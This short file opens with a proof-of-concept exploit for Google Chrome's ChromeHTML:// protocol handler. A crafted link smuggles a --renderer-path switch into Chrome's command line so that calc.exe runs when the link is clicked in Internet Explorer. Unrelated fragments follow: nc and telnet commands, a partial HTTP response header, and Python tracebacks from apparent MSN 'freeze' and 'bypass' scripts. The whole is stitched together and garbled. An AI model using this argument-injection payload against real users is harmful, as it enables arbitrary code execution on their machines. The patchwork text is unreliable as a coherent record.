<!--
Google Chrome Browser (ChromeHTML://) remote parameter injection POC
by Nine:Situations:Group::bellick&strawdog
Site: http://retrogod.altervista.org/
tested against: Internet Explorer 8 beta 2, Google Chrome 1.0.154.36, Microsoft Windows XP SP3
List of command line switches:
http://src.chromium.org/svn/trunk/src/chrome/common/chrome_switches.cc
Original url: http://retrogod.altervista.org/9sg_chrome.html

click the following link with IE while monitoring with procmon
-->
<a href='chromehtml:www.google.com"%20--renderer-path="c:\windows\system32\calc.exe"%20--"'>click me</a>

nc -vvn 1.1.1.1 80 
telnet 1.1.1.1 80 

Server: Apache / PHP 5.0.4 <- algo asi 
Vary: Accept-Encoding
Content-Encoding: gzip
Content-Length: 4499
Keep-Alive: timeout=5, max=100
Connection: Keep-Alive
Content-Type: text/html

C:\FreezItMsn.py
Traceback (most recent call last):
  File "C:\FreezItMsn.py", line 4, in <module>
    import msnp
ImportError: No module named msnp

C:\PassItMsn.py
Traceback (most recent call last):
  File "C:\ByPassItMsn.py", line 4, in <module>
    import msnp
ImportError: No module named msnp